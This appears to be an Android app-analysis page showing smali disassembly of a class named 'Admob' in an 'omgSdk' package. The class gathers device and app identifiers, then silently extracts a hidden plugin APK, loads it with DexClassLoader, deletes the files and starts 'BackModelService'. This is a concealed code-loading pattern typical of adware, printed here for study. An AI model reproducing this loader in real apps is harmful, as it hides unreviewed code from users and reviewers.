                              690invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              691move-result-object v5
                              693const-string v6, "version"
                              695const-string v7, "version_code"
                              697invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              698move-result-object v7
                              700invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              701move-result-object v5
                              703const-string v6, "appkey"
                              705const-string v7, "appkey"
                              707invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              708move-result-object v7
                              710invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              711move-result-object v5
                              713const-string v6, "channel"
                              715const-string v7, "channel"
                              717invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              718move-result-object v7
                              720invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              722invoke-virtual {p0, v3}, Lb/a/q;->a(Lorg/json/JSONObject;)Z
                              723move-result v3
                              724if-nez v3, :cond_3aa
                              725move-object v0, v1
                              726cond_3aa: sget-boolean v3, Lb/a/aw;->a:Z
                              727if-eqz v3, :cond_3bb
                              729invoke-virtual {v4}, Lorg/json/JSONObject;->length()I
                              730move-result v3
                              731if-lez v3, :cond_3bb
                              733invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              734move-result-object v3
                              736invoke-static {v3}, Lb/a/aw;->a(Ljava/lang/String;)V
                              737cond_3bb: if-eqz v2, :cond_13
                              738try_start_3bd:
                              739invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                              740move-result-object v1
                              742const-string v2, "vers_name"
                              744invoke-interface {v1, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              746const-string v2, "vers_code"
                              748invoke-interface {v1, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              750const-string v2, "vers_date"
                              752invoke-interface {v1, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              754const-string v2, "vers_pre_version"
                              756invoke-interface {v1, v2}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                              758invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                              759try_end_3d8: goto/16 :goto_13
                              760catch_3da: move-exception v1
                              761goto/16 :goto_13
                              762catch_3dd: move-exception v2
                              763try_start_3de: new-instance v2, Lorg/json/JSONObject;
                              765invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                              766try_end_3e3: move-object v3, v2
                              767goto/16 :goto_31
                              768try_start_3e6:
                              769const-string v3, "body"
                              771invoke-virtual {v0, v3}, Lorg/json/JSONObject;->remove(Ljava/lang/String;)Ljava/lang/Object;
                              772try_end_3eb: goto/16 :goto_14a
                              773catch_3ed: move-exception v3
                              774goto/16 :goto_14a
                              775try_start_3f0:
                              776const-string v5, "app_version"
                              778sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              780invoke-static {v6}, Lb/a/at;->b(Landroid/content/Context;)Ljava/lang/String;
                              781move-result-object v6
                              783invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              785const-string v5, "version_code"
                              787sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              789invoke-static {v6}, Lb/a/at;->a(Landroid/content/Context;)Ljava/lang/String;
                              790move-result-object v6
                              792invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              793move-result v6
                              795invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              796try_end_40a: goto/16 :goto_1c4
                              797catch_40c: move-exception v5
                              798try_start_40d:
                              799const-string v5, "app_version"
                              801sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              803invoke-static {v6}, Lb/a/at;->b(Landroid/content/Context;)Ljava/lang/String;
                              804move-result-object v6
                              806invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              808const-string v5, "version_code"
                              810sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              812invoke-static {v6}, Lb/a/at;->a(Landroid/content/Context;)Ljava/lang/String;
                              813move-result-object v6
                              815invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              816move-result v6
                              818invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              819try_end_427: goto/16 :goto_1c4
                              820catch_429: move-exception v0
                              822sget-object v0, Lb/a/q;->j:Landroid/content/Context;
                              824invoke-static {v0}, Lb/a/bb;->a(Landroid/content/Context;)Lb/a/bb;
                              825move-result-object v0
                              827invoke-virtual {v0}, Lb/a/bb;->e()V
                              828move-object v0, v1
                              829goto/16 :goto_13
                              830try_start_436:
                              831const-string v6, "2G/3G"
                              832const/4 v7, 0x0
                              833aget-object v7, v5, v7
                              835invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              836move-result v6
                              837if-eqz v6, :cond_44a
                              839const-string v6, "access"
                              841const-string v7, "2G/3G"
                              843invoke-virtual {v3, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              844goto/16 :goto_2c4
                              845cond_44a:
                              846const-string v6, "access"
                              848const-string v7, "unknow"
                              850invoke-virtual {v3, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              851goto/16 :goto_2c4
                              852cond_453:
                              853const-string v5, "mccmnc"
                              855const-string v6, ""
                              857invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              858try_end_45a: goto/16 :goto_2e8
                              859catch_45c: move-exception v5
                              860goto/16 :goto_357
                              861catch_45f: move-exception v5
                              862goto/16 :goto_338
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getCacheDir
                              • java.io.File.getAbsolutePath
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.<init>
                              • java.io.FileInputStream.<init>
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.content.Context.getPackageName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getAssets
                              • android.content.res.AssetManager.open
                              • java.io.FileOutputStream.<init>
                              • java.lang.String.equalsIgnoreCase
                              • java.io.InputStream.close
                              • java.io.OutputStream.close
                              • java.io.File.<init>
                              • java.io.File.delete
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.content.Context.getPackageName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.IOException.printStackTrace
                              • java.lang.Class.newInstance
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.io.File.<init>
                              • java.io.File.delete
                              • java.lang.String.replace
                              • java.io.File.<init>
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • dalvik.system.DexClassLoader.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • dalvik.system.DexClassLoader.loadClass
                              • java.lang.Class.getMethod
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.content.Context.getPackageName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Integer.toString
                              • java.lang.reflect.Method.invoke
                              • java.lang.ClassNotFoundException.printStackTrace
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.Exception.getMessage
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.Exception.printStackTrace
                              • java.lang.NoSuchMethodException.printStackTrace
                              • java.lang.IllegalAccessException.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              Strings
                              • pluginName =
                              • inject file exist:
                              • BPoint
                              • off
                              • on
                              • packageName =
                              • NoMiddlePlug
                              • There is no available middle plugin
                              • PlugEntry
                              • false
                              • true
                              • == file
                              • apk is error
                              • ErrorMiddlePlug
                              • addAssetPath
                              • .apk
                              • .dex
                              • middleLoader classLoader =
                              • com.plugin.request.BackModelService
                              • startMiddle
                              • appleid
                              • StartExeMiddlePlug
                              • inject loadResource error:
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/4 v2, 0x0
                              3const/4 v0, 0x1
                              4const-class v3, Lcom/omgSdk/andoclib/Admob;
                              5monitor-enter v3
                              6try_start_6:
                              7sget-object v4, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              8if-nez v4, :cond_23e
                              10invoke-static {p0}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              11move-result-object v0
                              13invoke-virtual {v0, p1}, Lcom/omgSdk/a/d;->a(Ljava/lang/String;)Z
                              14move-result v0
                              15if-nez v0, :cond_1c
                              17invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              18move-result-object v0
                              20invoke-virtual {v0, p1, p1}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              21move-result-object p1
                              22cond_1c: new-instance v0, Ljava/lang/StringBuilder;
                              24invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              26const-string/jumbo v4, "pluginName = "
                              28invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              29move-result-object v0
                              31invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              32move-result-object v0
                              34invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              35move-result-object v0
                              37invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              39invoke-virtual {p0}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              40move-result-object v0
                              42invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              43move-result-object v4
                              44new-instance v0, Ljava/lang/StringBuilder;
                              46invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              48invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              49move-result-object v0
                              51sget-object v5, Ljava/io/File;->separator:Ljava/lang/String;
                              53invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v0
                              56invoke-static {p1}, Lcom/omgSdk/andoclib/Admob;->pluginRealName(Ljava/lang/String;)Ljava/lang/String;
                              57move-result-object v5
                              59invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              60move-result-object v0
                              62invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              63move-result-object v5
                              64new-instance v0, Ljava/lang/StringBuilder;
                              66invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              68invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              69move-result-object v0
                              71const-string/jumbo v6, " inject file exist:"
                              73invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              74move-result-object v0
                              75new-instance v6, Ljava/io/File;
                              77invoke-direct {v6, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              79invoke-virtual {v6}, Ljava/io/File;->exists()Z
                              80move-result v6
                              82invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              83move-result-object v0
                              85invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              86move-result-object v0
                              88invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              89new-instance v0, Ljava/io/File;
                              91invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              93invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              94try_end_82: move-result v0
                              95if-nez v0, :cond_13a
                              96try_start_85:
                              97invoke-static {p0}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              98move-result-object v0
                              100invoke-virtual {v0, p1}, Lcom/omgSdk/a/d;->a(Ljava/lang/String;)Z
                              101move-result v0
                              102if-eqz v0, :cond_104
                              103new-instance v0, Ljava/io/FileInputStream;
                              104new-instance v2, Ljava/io/File;
                              106invoke-static {p0}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              107move-result-object v6
                              109iget-object v6, v6, Lcom/omgSdk/a/d;->a:Ljava/lang/String;
                              111invoke-direct {v2, v6, p1}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              113invoke-direct {v0, v2}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
                              114goto_9f: if-nez v0, :cond_115
                              116invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              117move-result-object v0
                              119const-string/jumbo v2, "BPoint"
                              121const-string/jumbo v6, "off"
                              123invoke-interface {v0, v2, v6}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              124move-result-object v0
                              126const-string/jumbo v2, "on"
                              128invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              129move-result v0
                              130if-eqz v0, :cond_fc
                              132invoke-static {p0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              133move-result-object v0
                              134const/4 v2, 0x1
                              135new-instance v6, Ljava/lang/StringBuilder;
                              137invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              139const-string/jumbo v7, "pluginName = "
                              141invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              142move-result-object v6
                              144invoke-virtual {v6, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              145move-result-object v6
                              147invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              148move-result-object v6
                              150invoke-virtual {v0, v2, v6}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              151move-result-object v0
                              152const/4 v2, 0x2
                              153new-instance v6, Ljava/lang/StringBuilder;
                              155invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              157const-string/jumbo v7, "packageName = "
                              159invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              160move-result-object v6
                              162invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              163move-result-object v7
                              165invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              166move-result-object v6
                              168invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              169move-result-object v6
                              171invoke-virtual {v0, v2, v6}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              172move-result-object v0
                              174const-string/jumbo v2, "NoMiddlePlug"
                              176invoke-virtual {v0, v2}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              177move-result-object v0
                              179invoke-virtual {v0}, Lcom/omgSdk/a/b;->b()V
                              180cond_fc:
                              181const-string/jumbo v0, "There is no available middle plugin"
                              183invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              184try_end_102: monitor-exit v3
                              185return-void
                              186try_start_104:
                              187invoke-static {p0, p1}, Lcom/omgSdk/andoclib/Admob;->isAssetsExistPlug(Landroid/content/Context;Ljava/lang/String;)Z
                              188move-result v0
                              189if-eqz v0, :cond_113
                              191invoke-virtual {p0}, Landroid/content/Context;->getAssets()Landroid/content/res/AssetManager;
                              192move-result-object v0
                              194invoke-virtual {v0, p1}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
                              195move-result-object v0
                              196goto/16 :goto_9f
                              197cond_113: move-object v0, v2
                              198goto/16 :goto_9f
                              199cond_115: new-instance v2, Ljava/io/FileOutputStream;
                              201invoke-direct {v2, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
                              203invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              204move-result-object v6
                              206const-string/jumbo v7, "PlugEntry"
                              208const-string/jumbo v8, "false"
                              210invoke-virtual {v6, v7, v8}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              211move-result-object v6
                              213const-string/jumbo v7, "true"
                              215invoke-virtual {v6, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              216move-result v6
                              217if-eqz v6, :cond_1db
                              219invoke-static {v0, v2}, Lcom/omgSdk/andoclib/Admob;->write(Ljava/io/InputStream;Ljava/io/OutputStream;)V
                              220goto_134:
                              221invoke-virtual {v0}, Ljava/io/InputStream;->close()V
                              223invoke-virtual {v2}, Ljava/io/OutputStream;->close()V
                              224try_start_13a:
                              225invoke-static {p0, v5}, Lcom/omgSdk/andoclib/Admob;->isApkCorrect(Landroid/content/Context;Ljava/lang/String;)Z
                              226move-result v0
                              227if-nez v0, :cond_1e8
                              228new-instance v0, Ljava/io/File;
                              230invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              232invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              233new-instance v0, Ljava/io/File;
                              235invoke-static {p0}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              236move-result-object v1
                              238iget-object v1, v1, Lcom/omgSdk/a/d;->a:Ljava/lang/String;
                              240invoke-direct {v0, v1, p1}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                              242invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              243move-result v1
                              244if-eqz v1, :cond_17b
                              245new-instance v1, Ljava/lang/StringBuilder;
                              247invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              249invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              250move-result-object v1
                              252const-string/jumbo v2, " == file "
                              254invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              255move-result-object v1
                              257invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              258move-result-object v2
                              260invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              261move-result-object v1
                              263invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              264move-result-object v1
                              266invoke-static {v1}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              268invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              269cond_17b: new-instance v0, Ljava/lang/StringBuilder;
                              271invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              273invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              274move-result-object v0
                              276const-string/jumbo v1, " apk is error"
                              278invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              279move-result-object v0
                              281invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              282move-result-object v0
                              284invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              286invoke-static {p0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              287move-result-object v0
                              288const/4 v1, 0x1
                              289new-instance v2, Ljava/lang/StringBuilder;
                              291invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              293const-string/jumbo v4, "pluginName = "
                              295invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              296move-result-object v2
                              298invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              299move-result-object v2
                              301invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              302move-result-object v2
                              304invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              305move-result-object v0
                              306const/4 v1, 0x2
                              307new-instance v2, Ljava/lang/StringBuilder;
                              309invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              311const-string/jumbo v4, "packageName = "
                              313invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              314move-result-object v2
                              316invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              317move-result-object v4
                              319invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              320move-result-object v2
                              322invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              323move-result-object v2
                              325invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              326move-result-object v0
                              328const-string/jumbo v1, "ErrorMiddlePlug"
                              330invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              331move-result-object v0
                              333invoke-virtual {v0}, Lcom/omgSdk/a/b;->b()V
                              334try_end_1d6: goto/16 :goto_102
                              335catchall_1d8: move-exception v0
                              336monitor-exit v3
                              337throw v0
                              338cond_1db: const/16 v6, 0x17b
                              339try_start_1dd:
                              340invoke-static {v0, v2, v6}, Lcom/omgSdk/andoclib/Admob;->writeFile(Ljava/io/InputStream;Ljava/io/OutputStream;I)V
                              341try_end_1e0: goto/16 :goto_134
                              342catch_1e2: move-exception v0
                              343try_start_1e3:
                              344invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                              345try_end_1e6: goto/16 :goto_13a
                              346try_start_1e8: const-class v0, Landroid/content/res/AssetManager;
                              348invoke-virtual {v0}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                              349move-result-object v0
                              350check-cast v0, Landroid/content/res/AssetManager;
                              352invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              353move-result-object v2
                              355const-string/jumbo v6, "addAssetPath"
                              356const/4 v7, 0x1
                              357new-array v7, v7, [Ljava/lang/Class;
                              358const/4 v8, 0x0
                              359const-class v9, Ljava/lang/String;
                              360aput-object v9, v7, v8
                              362invoke-virtual {v2, v6, v7}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              363move-result-object v2
                              364const/4 v6, 0x1
                              365new-array v6, v6, [Ljava/lang/Object;
                              366const/4 v7, 0x0
                              367aput-object v5, v6, v7
                              369invoke-virtual {v2, v0, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              370goto_20c: new-instance v0, Ldalvik/system/DexClassLoader;
                              371const/4 v2, 0x0
                              373invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              374move-result-object v6
                              376invoke-direct {v0, v5, v4, v2, v6}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              377sput-object v0, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              379sget-object v0, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              381invoke-static {v0, p0}, Lcom/omgSdk/andoclib/c;->a(Ldalvik/system/DexClassLoader;Landroid/content/Context;)V
                              383invoke-static {p0, v5}, Lcom/omgSdk/andoclib/Admob;->getApkVersion(Landroid/content/Context;Ljava/lang/String;)I
                              384move-result v0
                              385sput v0, Lcom/omgSdk/andoclib/Admob;->middleVersion:I
                              386new-instance v0, Ljava/io/File;
                              388invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              390invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              391new-instance v0, Ljava/io/File;
                              393const-string/jumbo v2, ".apk"
                              395const-string/jumbo v4, ".dex"
                              397invoke-virtual {v5, v2, v4}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                              398move-result-object v2
                              400invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              402invoke-virtual {v0}, Ljava/io/File;->delete()Z
                              403try_end_23d: move v0, v1
                              404cond_23e: if-eqz p2, :cond_242
                              405if-nez v0, :cond_102
                              406try_start_242: new-instance v0, Ljava/lang/StringBuilder;
                              408invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              410const-string/jumbo v1, "middleLoader classLoader = "
                              412invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              413move-result-object v0
                              415sget-object v1, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              417invoke-virtual {v1}, Ldalvik/system/DexClassLoader;->toString()Ljava/lang/String;
                              418move-result-object v1
                              420invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              421move-result-object v0
                              423invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              424move-result-object v0
                              426invoke-static {v0}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              428sget-object v0, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              430const-string/jumbo v1, "com.plugin.request.BackModelService"
                              432invoke-virtual {v0, v1}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                              433move-result-object v0
                              435const-string/jumbo v1, "startMiddle"
                              436const/4 v2, 0x2
                              437new-array v2, v2, [Ljava/lang/Class;
                              438const/4 v4, 0x0
                              439const-class v5, Landroid/content/Context;
                              440aput-object v5, v2, v4
                              441const/4 v4, 0x1
                              442const-class v5, Ldalvik/system/DexClassLoader;
                              443aput-object v5, v2, v4
                              445invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              446move-result-object v0
                              448invoke-static {p0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              449move-result-object v1
                              450const/4 v2, 0x1
                              451new-instance v4, Ljava/lang/StringBuilder;
                              453invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
